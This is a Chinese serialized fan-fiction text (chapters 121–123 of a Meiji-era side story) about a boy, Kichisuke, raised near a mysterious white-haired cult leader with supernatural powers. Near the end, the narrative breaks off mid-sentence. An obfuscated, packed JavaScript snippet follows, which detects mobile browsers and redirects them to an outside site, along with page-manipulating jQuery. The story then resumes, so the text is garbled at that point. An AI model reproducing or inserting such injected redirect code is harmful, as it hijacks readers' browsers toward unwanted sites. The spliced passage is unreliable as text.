六岁的小吉很喜欢这座山,喜欢这里玻璃般清澈透亮的溪流和瀑布,喜欢在天空中像风筝一样盘旋的鹰,喜欢夏日池塘中盛开的莲花和冬天落满白雪的庭院;三十二岁的铁谷吉助,在名为“人生”的山路上,感到自己像黑暗中的一只蚂蚁般跌跌撞撞地前行。 他仰起头,纷扬的雪花自虚空中飘落,落进眼中,落进嘴里,让眼球和牙齿冻的生疼。 ——明明毫无意义,也还是会傻傻的一条路走到黑,这正是人类最虚无缥缈、也最美妙的地方啊。 记忆中的那个男人握着金扇,挑起嘴角,露出那熟悉的、含着戏谑的笑意。 ——小吉长大后可不要做那样的笨蛋哦。 六岁的他不懂何为敬畏,也不明白祭坛下那些人为什么都在对那个男人顶礼膜拜,哭泣哀告,于是脱口而出: ——你讨厌他们吗? ——诶? ——那些来找你祈祷的人,你明明一点都不可怜他们吧。 男人转过头,像个小孩子似的撇撇嘴,露出一副悲伤的表情。 ——谁说的,我当然可怜他们啦。 他停了停,又说: ——要是连我都不可怜他们,谁又会可怜他们呢? ——他们没有爹娘吗? ——父母很多时候是毫无用处的哦,有些大人甚至比小孩子还要愚蠢呢。 ——那神明和佛祖呢?他们不管这些人吗? 男人叹了口气。 ——小吉啊,你早上吃的饭团是谁做的呀? ——啊,是…是厨房的大婶。 ——又是谁叫厨房的大婶做饭给你吃的呐? ——是山田叔。 ——那我问你,做饭团的米是从哪里来的呀? ——米…是地里长出来的吧? ——买米的钱又是谁努力工作赚来的呀? ——是…教主大人。 ——所以,神明和佛祖在哪里呢? ——……那你为什么不告诉他们呢? ——告诉他们什么呀? ——明明是你在帮他们,而不是神佛嘛,神明和佛祖根本一点也不可怜他们。 ——不可以哦,小吉。 男人轻轻一笑。 ——不能做那么残忍的事啊。 “这也太厉害了吧!这些人的衣服比街上演杂耍的都漂亮!” 吉助指着一张挂在墙上的画大叫起来。 “那是《十王图》,画的是地狱里的十殿阎罗王哦。” “这个呢?是山猪吗?” “哪个?哦哦,不是猪啦,是叫做‘白象’的动物。” “白象?那是啥?骑着它的又是什么人?打扮的好奇怪…” “是普贤菩萨嘛。” “他坐在莲花上哎,像教主大人一样。” “我什么时候坐在莲花上啦?” “是山田叔说的,他说教主大人会在莲花上跳舞。” 吉助抱着一卷画,眼睛亮闪闪:“是真的吗?你会跳舞的事。” “山田真讨厌啊…诶,我放在哪里来着?” 吉助只觉得眼前一黑,一大堆书噼里啪啦地砸在脸上。 “啊,抱歉抱歉。” 教主大人笑眯眯地说,顺手把他从地上成堆的古画和佛经里救了出来。 “你可真有钱…”吉助揉揉鼻子,嘴里嘟囔,“我爹要是在,肯定会发火的,这些东西全都不能当饭吃,存这么多干嘛…咦,这个老和尚画的好棒…” “那是汉画的画法,所以看着有点不一样啦。” “这张呢?” “是北斋的两国桥夕照,他画的隅田川很不错吧?” “你怎么什么都知道啊…那这张呢?这个男的和女的在干什…” “哇啊,小孩子可不能看这个!” 吉助手里的画被“刷”的抽走,换上了另一张。 “终于找到啦~” 教主大人盘腿在他旁边坐了下来,从一本旧书里抽出几张巴掌大的纸片。 纸片上的图形极其简单,与其说是画,不如说是用毛笔蘸了墨水,在纸上一气呵成的线条。 “这是你的曾祖画的哦,”教主大人擦了擦眼泪,“我太善良了,宗三郎那孩子要是知道我还留着他送我的竹笋图,肯定会很感动的~” “竹…竹笋?明明是小鱼干啊!” “诶?原来是鱼吗?” “就是鱼啊!这是眼睛,还有鱼腮,底下还有碟子呢!你没吃过鱼干吗?” “这样啊…这个灯笼画的也不错哦。” “…那是柿饼吧!” “柿饼是这样的吗…哦哦,我明白啦,你们果然是血脉相连的亲人,只有小吉能看得懂宗三郎的画呢,真是令人感动的亲情啊!” 教主大人的眼泪更汹涌了。 “你跟我的曾祖…是朋友吗?提起他这么伤心?” 吉助忍不住问。 “当然不是啦,我们只是碰巧都喜欢芭蕉的俳文而已。”教主大人抹着眼泪说,“要不是因为这个,就算出再多的钱他都不肯帮我做扇子呢。” “日月乃百代之过客,逝去之年亦为旅人也——那孩子可喜欢这句了。” “……是啥意思啊?” “意思是世间万物皆有生灭,日月那样的永恒之物,注定和人类这样的转瞬即逝之物无缘。瓶中的花很快就会枯萎,无论多漂亮的女人,只要插在壶里,也很快会腐烂成白骨,所谓色即是空嘛。” “好可怕…女人还能插在壶里?” “开玩笑啦~” “但…还是好奇怪啊。”吉助用手指描摹着纸上的柿饼,“你扇子上的莲花刻的多漂亮,这画却这么…嗯…像小孩子画的一样。” 他没好意思说丑,毕竟那是自己的曾祖。 教主大人若有所思地看着那画:“这个嘛…可能因为是用左手画的哦。” “左手?” “对呀。” 教主大人点燃烟管里的烟草,用平静的语气说。 “因为宗三郎那孩子太有才华,后来遭到了江户的御用商人们嫉妒,污蔑他偷了修佛像的金银,就被奉行所判了刑,砍掉了能作画的右手哦。” “啊!怎么这样!” “就是这样,所以说‘无常’才是世间的本相嘛。好在那时他已经有儿子了,就由儿子来继承家业啦。” “啊…” 吉助发出了似懂非懂的感叹声。 “所以…孩子都要继承父母的工作吗?” “都是那样的吧,武士的孩子永远是武士,农民的孩子永远是农民,游女的孩子也会接着做游女。” “那多没意思啊。” “诶?” “大家都做一样的工作,多没意思啊。”吉助撅着嘴说,“我就不想当铁匠,要是以后能一直画画就好了,成为全日本最棒的画家也不错吧?” “……” 周围忽然陷入一片沉寂,吉助抬起 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教主大人坐在祭坛上,用那把一看就很有钱的扇子掩着脸,笑嘻嘻地说。 “看什么啊…” 吉助望着空荡荡的茶室,挠了挠头。 冬天还没结束,庭院里什么都没有。倘若说景色,就只有… “什么都行,人也行,花也行。我像你这么大的时候就很会看人了哦,来的信徒是什么身份,有什么痛苦,想祈求什么,看多了就会理解,很简单的。诶?已经想好要画什么了吗?” 男孩弯下腰,将吃完茶泡饭的碗放在一摞书上,然后席地而坐,拿起纸笔,聚精会神地画了起来。 他甚至还没掌握正确拿笔的姿势,完全用五个指头攥着毛笔,砚台里也放多了水,墨稀的不行,但毛笔落在纸上时却带着某种决然的魄力,画出的线条像他的曾祖父一样干脆利索。 “诶…这是什么呀?” 教主大人不知何时也坐在了他身边,两手托腮,好奇地看着纸上的画。 “居然是…茶碗吗?”他惊讶地睁大眼睛,“就只是茶碗而已吗?” “对啊。”吉助微微皱着眉头,像父亲工作时一样认真,“这碗多漂亮啊。” “从没见过这种颜色的碗,一定很贵吧?”他边画边说,“昨天的米饭很好吃,今天的茶泡饭也很好吃,都是用这只碗装的,爷爷说过,一粒米上有七个神,这碗上可能附着神明也说不定呢!” “是吗…有神明附在碗上啊…这可真是…” 教主大人仿佛惊呆了似的喃喃道。 “……完全无法理解呢!哈哈哈!” 吉助被身边的男人那突如其来的笑声吓了一跳,扭头看到一贯举止优雅的教主大人竟然直接笑倒在了地上。 他用手捂着眼睛,一副笑的喘不上气的样子。 “原来如此…神明就只是个茶碗而已吗…太有趣了…真是太有趣了…” 黑色的帽子滚落到一旁,吉助看到神之子的头顶竟然一片血红,仿佛有个剧毒的诅咒落在了那牛奶般洁白的发上。 “喂,你…不要紧吧?”吉助有点害怕地问。 教主大人停了笑声,嘴角却依然带着笑。 他摆摆手,用一贯轻快的语气说: “没关系没关系…柿饼和鱼干,米饭和茶碗,小吉真不愧是宗三郎那孩子的后代啊!” 男人翻了个身,像个孩子似的趴在地板上,目光竟是少有的认真。 “呐,小吉,要加油哦。”他微笑道。 “我竟然有点想看到呢,你成为全日本最棒的画家的样子。” 122. 【明治篇番外】未闻神名(3) 对一个人最持久的折磨,往往来自无法面对、却又难以遗忘的记忆。 吉助被记忆折磨了很久,那是六岁之后的十年,是他在“神子大人”身边长大的十年。 明治三十年(1897年),秋。 “这家伙…还真是厉害啊…” 吉助咬了一口手里的饭团,盯着面前泛黄的信纸喃喃道。 纸上的墨迹历经百年,依然清晰可辨: ——今日参拜爱宕神社,在此处眺望可得见江户城,语言文字皆不能道尽其广阔。另食豆皮寿司和糖煮栗子,饮酒一合。又闻酒名“白雪”,与大人甚为相称,不能共饮,实乃憾事也。 他现在才知道,铁谷家那位才华横溢的祖先“飞鸟斋”竟然意外的命途多舛,不仅中年遭人陷害成了残废,几年后又在江户的大火里失去了最疼爱的小儿子,为此深受打击,于是把锻刀的工作交给长子,自己过上了隐居的生活。 然而,这个名叫宗三郎的男人似乎并未与绘画断了缘分,他用左手作的画从下笔如孩童般稚拙的鱼和柿饼,逐渐变成了竹子、松树、河流乃至群山,虽然再也没能恢复先前的精致,却在墨色的深浅晕染中显出一种难以言喻的悠远深邃之美。 教主大人说,那是汉画的画法,来自大海另一边的国家,曾经很受京都府那些附庸风雅的公家人欢迎。当时隐居在江户附近的宗三郎隔三差五就寄来自己的新作,明里委托他送给某位大人“鉴赏”,暗里的意思是换点钱贴补家用。 “曾祖也学过那种画法吗?是什么时候的事啊?” 吉助忍不住问道。 “在知恩院看过几次就学会了,所以说那孩子很有天赋嘛。至于什么时候…离现在差不多有一百三十年了吧,日子过得真快呀~” 教主大人握着扇子,露出一副相当怀念的表情,全然不顾吉助震惊的眼神。 随着画一起寄来的,还有简短的信函,内容往往是些无关紧要的小事,要么是“隅田川的八重樱开了”、“今天在料亭吃到了美味的泥鳅锅”这类废话,要么索性是意义不明的诗句。 “饮酒醉…后面写的啥啊?” 汉字可真难。吉助愁眉苦脸地咬着笔尖问。 “饮酒醉欲寝,雪光照无眠,是芭蕉的连歌啦~” 教主大人斜倚在一边,懒洋洋地说。 “那孩子是想到了自己不幸的人生吧。早就跟他说了嘛,江户可不是什么容易活下去的地方,可惜他就是不听我的劝告,非要一条路走到黑,可怜呀可怜~” 吉助看了看那拈着烟管、一副悠闲样子的白发男人,又低头看了看信上的字。 那句连歌下面是教主大人的回信,语气居然相当干脆: ——阁下又缺钱了?看您过得如此辛苦,真是令人伤感。不如回京都来,由我指引阁下前往极乐世界如何? 再下面是飞鸟斋的回信,更加干脆: ——多谢教主大人美意,在下尚能作画,还不想死呢。 一个两个都是怪人啊。 吉助心想。 怪人归怪人,天才也是真的天才。五年时间,男孩照着宗三郎的画学会了画树,画莲花,画落在莲花上的蜻蜓和院子里找食的乌鸦。他也发现了四季不同的光线下,莲池中的水面能呈现出不一样的颜色,初春为青,盛夏为黛,入秋则映着霜枫的霞红。那些变幻的色彩就像曾祖的画一样令他痴迷不已。陶瓶中插的花从白梅换成了山茶,时光确如匆匆旅人一般,飒沓而过。 他也学会了认字。教主大人看着是个温和随性的人,成天把“不用太勉强自己哦”挂在嘴边,却写得一手漂亮的字,据说是小时候每天抄写佛经练出来的。吉助好奇地问了一句是什么经文这么厉害,很快就后悔了。 后悔的原因是教主大人直接扔给他一本《金刚经》,叫他一天抄三遍。 “有什么难的呀,我像你这么大的时候,这种东西早就背熟啦,就算在大寺院的僧人面前也没被考倒过哦~” 那狐狸似的男人笑眯眯地说。 山里四季分明,夏日寺院的池塘中盛开了几十上百朵睡莲。吉助每次来时都能发现不同颜色的莲花,于是时常独自坐在莲池中的木桥上一画就是一整天。 教主大人永远在天亮前和天黑后才出现在经堂,其余时间都待在内殿,吉助也从没见过他吃饭。信徒们都说神之子是圣洁的,所以从来不碰人类的饮食,事实也确是如此,吉助从家里带了几次红薯柿饼之类的零食,最后都进了自己的肚子。 时间一久,这座极乐寺中的很多事就又显得诡异起来。比如在教主大人身边侍奉的女人总是换得很勤,信徒也时常少上几个,但所有人都熟视无睹,年轻的女信徒们反而争先恐后抢着去做那俊美男人的贴身女侍。 神子大人的身边是最接近极乐世界的地方——她们无比虔诚地说。 吉助觉得有点奇怪,于是有次帮忙烧炉子时忍不住把心中的疑惑告诉了爹,没想到弘藏一下子沉下了脸。 “阿吉,有几件事你必须给我好好记住,”父亲异常严肃地说。 “第一,绝对不许在寺里乱跑,教主大人让你在哪里玩你就在哪里玩;第二,无论看到什么,听到什么,都绝对不准去问教主大人,要是遇到什么人问你,就说什么也没看见,什么都不知道。” 说完,弘藏又不放心地嘱咐了一句: “还有,要是教主大人问你有什么痛苦的事,一定要说没有,现在的生活很幸福,记住了吗?” “我懂我懂!教主大人超厉害的!” 十一岁的吉助满眼崇拜,没有留意到父亲欲言又止的沉默。 如果可以的话,想成为像飞鸟斋那样了不起的画家。 彼时,吉助对自己的未来信心十足。 所以每次去寺里,他都比在家还要勤快,天不亮就起来帮厨房的大婶劈柴和淘米准备早饭,都做完了才开始做自己的功课,经常没到晚上就困的抬不起头,好几次都是在檐廊下睡着,早上醒来却在房里,不知是被哪个路过的信徒抱回去的。 之所以这么拼命,是因为报纸上说奈良那边开设了专门的美术学校,入学的条件除了识字,还有交出一张能获得老师们认可的风物画。 后来吉助想到,一切都再明显不过,只是他当时还太小,没有意识到那个最终的答案而已。 那天是八月十五,寺里的信徒们都聚在前殿一起做月见团子,只有吉助自己坐在莲池边画画。午后的阳光晒的他直犯迷糊,正打算去旁边的水罐里舀点水喝,竟然踩到了石头上的青苔,直接掉进了池中。 池水不深,但对身材矮小的他来说已经足够没顶了,加上水底全是盘根错节的莲蔓,吉助感到自己的脚似乎缠在了什么东西里,挣扎中双手乱抓,居然抓到了一把水草般滑腻的东西。 等到看清手里的东西,吉助吓得发出一声大叫。 那是一把女人的头发。 惊惧之下,带着腥味的池水趁机涌进他嘴里。吉助连呛了几口水,意识也跟着模糊起来。 要死了吗? 这个念头就这么清晰地出现在脑海里。 大家都在前殿,没人能想到他居然大白天在庭院里溺水,更不可能有人来救他。 老爹晚上还要来寺里参加祈福,要是知道他就这么死了,该多伤心啊… 最后一次拼命将头探出水面时,他看见室内的阴影里,不知何时站了个人。 那双即使在暗处也闪耀着彩虹光晕的眼睛正一眨不眨地看着他。 然而,完全不是平常和蔼可亲的模样,神子的脸上只有一片空白的淡漠,他略略歪着头,一动不动地站着,就好像在… 好像在等着他死去。 来不及多想,吉助拼尽最后的力气,向他伸出了手。 “救…救命!教主大人!救命啊!” “咳咳咳咳…呜哇…” “你这孩子是怎么回事!竟然惊动了教主大人!唉,你们也别光看着啊,快找件干净衣服给他…” 护教山田先生一边唠叨,一边用力拍打吉助的后背。 “没关系没关系,全都吐出来就好了。” 吉助趴在檐廊边上,边哭边吐自己喝进去的一肚子水。 内心除了劫后余生的庆幸,还有一丝不安。 他看见了不可思议的景象。 就在即将沉入水中的时候,自己被绳子一样的东西缠住腰部,然后整个人凌空飞了起来—— 就那样被扔到了走廊里。 虽然脑袋撞到地板上很痛,但躺在地上的吉助清楚地看见了几条水晶似的莲蔓在阳光下迅速消散,与之一起消散的,是教主大人暴露在阳光中的右手。 那只曾握着毛笔教他写字的手好像燃烧的纸一样化成了灰烬,手中半开的扇子掉在地上,发出啪的一声。 而教主大人只是微微眯起眼睛,一动不动地看着,就好像那只手没长在他身上一样。 随即他转过头,向吉助露出个孩子般天真无邪的微笑: “真是的,小吉也太不小心啦,你看看,要不是我碰巧路过,你就死了呀~” “淹死可是很痛苦的死法哦,”教主大人认真地解释道,“不过我是个善良的人,不会见死不救的,毕竟答应了宗三郎那孩子,要保护他的后代嘛。” 吉助好容易喘匀了气,目光穿过围观的几个信徒,惊魂未定地看向那坐在屏风前的男人。 “教主大人,手…” “诶?手怎么啦?” 教主大人满脸若无其事的笑容,那把打磨的金光闪闪的扇子不知什么时候又回到了他手里。 好像什么都没发生过。 ——无论看到什么,听到什么,都绝对不准去问教主大人。 父亲的叮嘱犹在耳畔。吉助犹豫了一下,讷讷地说: “没…没什么,是我看错了。” 可能是…神明的法术之类的吧。他想。 果然,来参加月见节祈福的弘藏听说儿子掉进了水里,顿时发了火,满是青筋的大手把吉助的头狠狠按在地上。 “给我向教主大人道歉!你小子惹了这么多麻烦,简直丢尽了咱们家的脸!” “啊痛痛痛…老爹你是要杀人吗?”吉助呲牙咧嘴,“教主大人都原谅我了…” “不要急嘛,弘藏。” 神坛上的男人笑呵呵地说,“小吉很努力了,经常在院子里画到睡着呢,而且天赋也很不错,也许真能有所成就也说不定哦?” “我…小人也正是为了此事而来。” 弘藏忽然换了敬语。他松开按着吉助的手,郑重其事地俯下身体向教主大人行礼。 “阿吉马上满十二岁了,也到了正式作为继承人学习铁谷家的锻刀手艺的时候,所以从下个月开始,就不让这孩子来打扰教主大人了。您这些年的关照让小人惭愧至极,我们父子二人今后一定会报答您的恩情…” 吉助只觉得自己的心一下子落进了深不见底的水里,他最害怕的事发生了。 明明看到了更美妙的世界,曾祖的画笔下那个多姿多彩、万物生辉的世界。 明明学会了写字,知道了什么叫俳句,还知道了海的另一边还有其他的国家。 就算每个月只能有两三天,他也愿意为之付出一切。现在老爹却告诉他,这不过是一场美梦,他接下来的人生将在堆满木盆和旧衣服的大杂院里、在飞溅的火星和日复一日单调的打铁声中度过。 吉助手脚冰凉,脑袋里却像点着了一把火。 “我才不要!” 男孩跳了起来,大声吼道。 “给我坐下!小孩子没资格说话!” 父亲瞪着他,吉助也不甘示弱地瞪回去。 “连教主大人都说了我有天赋!我就是有天赋!我要考奈良的美术学校,一定会考上给你看!” “什么美术学校,简直笑死人!”弘藏冷哼一声,丝毫不留情面地说,“那都是有钱人家的少爷小姐才能去的地方,你也不是小孩子了,给我老老实实学好家传的手艺,将来也能娶个好女人…” “老爹你才可笑!武士刀什么的早就被洋枪淘汰了!咱们家难道不是一直靠给人力车行修理坏掉的车、还有给邻居家磨菜刀补铁锅这些杂活挣钱吗!” 吉助握紧了拳头,不管不顾地喊道。 “那种工作…那种工作能有什么未来?老爹根本什么都不懂,凭什么擅自决定我的人生!” 弘藏愣住片刻,压抑半生的屈辱在此刻化作了极度的难堪,让他的脸变成了紫红色。 “混蛋!你再说一遍?!” 他抬手就给了吉助一记耳光,大骂道: “敢看不起老子?老子没你这种儿子!” 吉助的鼻子里流出鲜血来,他狼狈地抹了一把血,鼻涕眼泪随之喷涌而出。 “我…我也没有你这种父亲!” 说罢他就扭头跑了出去,瘦小的身影很快消失在茫茫夜色中。 弘藏喘了几口粗气,颓然坐倒在地上。 “让您见笑了。”他垂头丧气地说。 “诶呀,看来是遇到麻烦了呢…” 教主大人用扇子轻敲着手心,似笑非笑地望向庭院中刚刚点亮的石灯笼。 天黑后的御岳山和白天完全不同,吉助在赌气的一通狂奔后,才发现自己又办了件蠢事。 他迷路了。 眼前只有一望无际、依着山势连绵起伏的森林,皎月高悬,但月光就像被密不透风的松树和枫树吸走了似的,脚下铺满厚厚落叶的山间小路不知何时也消失不见了。 人类对黑暗有着本能的恐惧。吉助只觉得口干舌燥,心脏跳的像祭典上咚咚响的太鼓,冷汗一层一层往外冒。 ——天黑后会有鬼出来,所以千万不要一个人走夜路。 小时候隔壁大婶曾神秘兮兮地对他说。 ——因为鬼会把不听话的小孩子抓走吃掉。 后来他长大了几岁,大婶再这么吓唬他的时候,吉助就洋洋得意地吐舌头扮鬼脸: ——才不会呢,爷爷说过,我们家有神子大人给的护身符,什么妖魔鬼怪都不怕。 但爷爷也说过,夜里的山中可能会有狼或者熊之类的野兽,所以最安全的做法是——上树。 在高处的话,说不定能看见出来找自己的老爹打的灯笼。 于是吉助找了棵树,手脚并用地爬了上去。 山风渐冷,月至中天,吉助的脸都冻麻了,也没等到期盼中灯笼的光。 ——老爹不会是真的生气了,所以不要自己了吧? 他惴惴不安地想。 而“后悔”这件事一旦开始,就怎么也停不下来。 ——自己一定是不听话的小孩子吧,否则也不会这么任性地跑掉。 明明知道老爹四处打零工养家的不易,自己也想早点长大,帮他分担一下家里的负担,为什么对他说出了那么过分的话? 老爹说的没错,人和人生来就是不同的。 都说现在是“四民平等”的新时代,但很多事好像又没有变。东京街头既有漂亮的洋楼,也有挤挤挨挨的长屋;既有坐着人力车、身着西洋蕾丝长裙的太太小姐,也有裹着满是虱子的破夹袄、被醉醺醺的父兄卖到花街换几个酒钱的女孩。 而老爹和自己仅仅是活着就已经拼上全部力气了。 被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252399|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 村里人痛骂“幕府走狗”也能气势汹汹地回骂对方“你们这种废物懂什么忠义”的老爹,却在城里的小学校门前变得畏缩起来,当校长问起户籍和职业的时候,居然支支吾吾说不出一句完整的话。 爷爷死的时候,家里穷到连办后事的钱都差点凑不出来。 生在这样的人家,哪里还有什么希望可言呢? 再怎么努力也没用,早该认命的。 也许…应该去参军才对。日本在和清国的战争中大获全胜,民心振奋,现在当兵也算是一条光宗耀祖的出路了,听人说海军学校不看出身,还有吃不完的大米饭,那样的话,就能活的轻松一点吧? (可是…) 一个怯弱的声音在心底响起: (只是“活着”就足够了吗?) 吉助揉揉红肿的眼睛,心里刚骂自己这么点小事就哭,像什么男子汉,就听见下方传来个熟悉的声音: “小吉,你在那上面干什么呐?” “教…教主大人?!” 吉助难以置信地望着树下的男子。他袖着手站在那里,法衣随随便便地披在和服外,脚下还踩着木屐,简直像饭后出门散步一样气定神闲。 神子的双眼在黑暗中闪闪发光,像是坠入了永夜的宝石。此刻那双眼睛弯起来,露出一贯无忧无虑的笑容。 “你父亲很担心你哦,跟我回去吧。” 他语气温和地说。 “我、我才不回去呢!” 明明想认输,又觉得脸面上很不好看,所以干脆嘴硬到底,所谓小孩子脾气大概就是这样吧。 “老爹他…老爹他只会吹牛,自己连字都不认识几个,还老是到处说我们家是武士的后人,是将军的御用刀匠,街坊邻居都在背地里笑话他是‘说大话的穷鬼弘藏’…” 吉助狠狠吸了下鼻涕。 “讨厌,到底是谁更丢脸啊…教主大人,曾祖他根本不是武士,御用刀匠什么的也不是真的,对吧?我…我只是个普通人家的小孩而已。” “原来小吉是在为这种事烦恼啊。” 吉助吓了一跳,因为教主大人的声音毫无预兆地出现在耳边。 “您…您是怎么上来的?!” 教主大人似乎完全没理会男孩的惊讶,而是抬头看了看月亮。 “哇啊,今晚的月色不错哦~”他笑眯眯地说,“不过这里太低了,会被那边的山挡住视线呐,咱们换个地方怎么样?” “换个地方?去…啊啊啊你要干啥?” 吉助吓得忘了敬语,因为教主大人伸手轻轻一拎,就把他像一袋米那样扛在了肩上。 起风了。 仅仅是一瞬间,吉助发现自己爬上的那棵树已经在几十尺以外,或者说,是四周的山林都在以不可思议的速度向后退去。 吉助紧紧抓住教主大人飞扬的黑色法衣,拼命回过头去。寒冷的夜风呼啸而来,把男孩兴奋的喊声扯的七零八落: “好厉害!你…你原来会飞吗!” 月光如雪,遍照四野,无数的树影迎面而来,却沾不到教主大人的法衣——他太快了。吉助第一次发现,这位在信徒面前永远温柔而沉稳的神之子,在月夜似乎变成了另一种存在。他眼中的光芒璀璨而凛冽,如同一头终于脱出牢笼的野兽。 吉助瞪大了眼睛,却听见了“御岳升仙峡”轰然的水声,瀑布好像一道凭空出现的天河倒挂在眼前,兴奋转眼变成惊慌失措。 “要要要掉下去了啊啊啊!” “小吉,数三下,然后不要呼吸哦~” “啥?!” 看着近在咫尺的瀑布,吉助马上明白,大概是又要掉进水里了,他本能地屏住了呼吸,紧紧捂住了嘴巴。 然后…什么也没发生。 不,不是什么也没发生。吉助清楚地看见一道白色的寒气沿着瀑布扩散开来,所过之处的水流竟在顷刻间凝结成冰,冰面上摇曳生长出一朵又一朵巨大透明的莲。 神子在月下踏着流光溢彩的莲华,自瀑布上飞掠而下,轻盈地仿佛起舞。 ——教主大人会在莲花上跳舞。 吉助想起了曾经听护教山田先生说过的话。 “就是这里啦~诶?你那是什么表情啊?已经可以呼吸了哦~” 吉助这才松开手跳到地上,大口呼吸着深夜的冰冷空气,教主大人却已经从他身边走过,用一种颇为愉悦的语调说道: “啊,景色果然不错哦~” 眼前是一片断崖,能看见两侧山麓长满柏树,山下是点缀着村落的平原,远方的黑暗中却隐约可见一片星星点点的光亮,那是… “东京!这里能看见东京!” 吉助兴奋地大叫起来,拼命指向那个方向。 “是银座的电灯!从这么远也能看见啊!太厉害了!” “啊,是哦。” 教主大人的语气却出乎意料地平静。他在断崖边找了块石头坐下来,一手托着腮,看向吉助指的方向。 “原来如此,现在是叫‘东京’了啊…” 他轻声说。 “说起这个,小吉,尽管你曾祖他很有天赋,锻造的刀也确实得到过将军的嘉奖,但也只是普通的庶民而已,如果是武士的话,大概就不会被人随便欺负了吧。” 吉助沉闷地点了点头。 “我就知道是这样,可是老爹他…” “武士也好,不是武士也好,在我看来都毫无意义。” 教主大人忽然用极为平淡的语气说道。 “万物皆有一死,时代也是一样。你父亲是个耿直但愚蠢的人,世上大多数人都是这样,把妄想出来的东西当作自己活下去的理由。你是个聪明的孩子,应该能理解吧?” “啊…我…” 吉助觉得很奇怪,明明这话听上去有点冷酷,却让他感到轻松,好像终于摆脱了什么沉重的东西似的。 “您是说…我不用按老爹说的去做吗?”他小心翼翼地说。 “大家都做一样的工作,多没意思啊——这可是小吉你自己说的哦?”教主大人扭头对他露出一个微笑,“我这个人记性很好的。” “可是…是好孩子的话,一定会乖乖听爹娘的话吧。”吉助低下头,不安地搓着衣袖,“要是我任性的话,老爹就太可怜了,我一直是这么想的。” “是啊,如果任性的话,父母就太可怜了,小孩子都是这么想的。”教主大人若有所思地说,“但是啊,小吉,站在不同的地方,看到的景色是不一样的哦。就像如果我没遇到那位大人,就没法像现在这样尽到身为教主的义务,毕竟…” 他没有说下去,而是换回了轻快的语气。 “总之,你父亲他同意了哦,你去奈良的事。” “哎?!骗人的吧!老爹刚刚还…” “给他看了你曾祖的信,他就同意啦。”教主大人狡黠地笑起来,“我的建议他总会听的嘛~” “您也太厉害啦!” 吉助高兴的忘记了父亲教他的礼貌,他扑上去紧紧抱住了一脸错愕的教主大人。 “我一定、一定会努力的!我要成为日本第一的画家!” 他忽然想到了什么,抬起头来:“可是那样的话,以后谁给您打磨扇子呢?” “那种小事不用在意啦~不过学费就算成从我这里借的哦?诶呀,这样的话,小吉以后也有债要还了,不过我是个善良的人,不会对那孩子的后代太苛刻的…” 我们一家欠了您很多很多的债。吉助想。 没关系,有一天,一定会偿还给您。 但在我心中,您不仅仅是神子大人,也是我的… 我的第二位父亲。 123. 【明治篇番外】未闻神名(4) 顿悟犹如火宅之变,而生无所在之心。 ——松尾芭蕉 明治三十六年(1903年),冬。 “你的祈愿神明已经听到了,请放心,一切苦难都会结束的。” 教主大人用温柔沉稳的声音不断重复着这句话,仿佛永远不知道厌烦似的。 地炉的炭火烧的噼啪作响,隔了一道墙的茶室里,吉助头上扎着手巾,正聚精会神地用一支细竹管将金粉吹到障子门上刚刚画好的莲花上。 上次回来时他发现茶室门上的彩绘有些模糊不清了,可能是时间太久,颜料褪色的缘故。于是自告奋勇画了两扇新的障子门,教主大人竟然夸他画的不错,把补色和重绘的工作交给了他,于是新年假期他特意从奈良赶回了东京。一起寄宿在学校的同学不明所以,纷纷起哄说他这么急急忙忙的往家跑,肯定是被家里安排了相亲。 “对,还是绸缎店老板家的黄花大闺女呢!羡慕吧!”吉助信口就吹起了牛,惹得同窗嘘声一片。 隔壁的说话声不知何时停了。走廊的门“刷”的一声打开,从外面探进来一张俊俏的脸,表情却十分孩子气。 “小吉,快画完了吧?啊呀,这屋里是什么味道嘛?” 吉助的鼻子翕动几下,忽然瞪大眼睛,扔下手里的画具,手忙脚乱地扑到地炉旁,用筷子从炉子上夹起一块黑乎乎的东西。 “糊了…”他哭丧着脸说。 “说了多少次,不要在屋子里烤鱿鱼干嘛。”教主大人撅着嘴抱怨道,“真的好臭…” “抱歉抱歉,”吉助不好意思地挠挠头,“山田叔说准备了屠苏酒,本来是打算当下酒菜的,结果肚子饿了就…” “原来如此,已经是正月了啊…” “什么啊,教主大人连新年都忘了吗?”吉助边收拾地上散落的画具边咧嘴笑道,“说起来,之前您救的那个女孩子呢?这次怎么没见出来?” “哪个女孩子呀?” “嗯…叫什么来着?就是绿色眼睛那个,真是个温柔又漂亮的好姑娘啊,上次还对我笑来着…” “哦哦,你说小琴叶呀。”教主大人笑眯眯地说,“那孩子现在得到了永远的幸福,再也不会受人欺负啦~” “不会吧!您给她找了好人家结婚吗?”吉助大叫起来,“这种好事居然不想着我,教主大人太狡猾了!” “啊哈哈,小吉才多大呀!” “我都十七了,不是小孩子了!” “说的也是哦,”教主大人打量着他,略有些惊讶地说,“看着确实长高了不少呢,这头发是怎么回事呀?” “现在的男学生都流行剪成这样,很有精神吧?”吉助得意洋洋地说,“我说您啊,也别光顾着信徒,多出去走走吧。我昨天去浅草寺卖宝船*,看见了不少好东西呢,对了,还看见了洋人,眼珠子像腌鱼那么蓝的洋人!哎呀那可真是…” “说起这个,”教主大人若有所思地说,“有件事拜托小吉好像比较合适哦。” 吉助愣了愣。 “什么呀…您可真会开玩笑…”他嘟囔道。 “诶?” “说什么拜托…这话多见外啊!”少年大笑,露出雪白的牙齿,“教主大人的事就是我的事,无论什么要求,小吉我一定办到,所以不要用‘拜托’这么客气的词嘛!我又不是那些来找您办事的官老爷!” 教主大人似乎也怔了怔,随后嘴角上扬,绽放出一个天真无邪的笑容。 “真的吗?那我就不客气啦。”他说。 “其实我一直在找一种叫‘青色彼岸花’的东西…” 青色彼岸花,据说是一种稀有的草药。 至于为什么要找,教主大人只说是有人生病,需要那种草药救命。 此外,关于这种草药长什么样子,在何处生长,均属未知。 “这也太奇怪了吧…”吉助自言自语道。 “喂,信诚,你小子是怎么回事?从刚才起就魂不守舍的。” 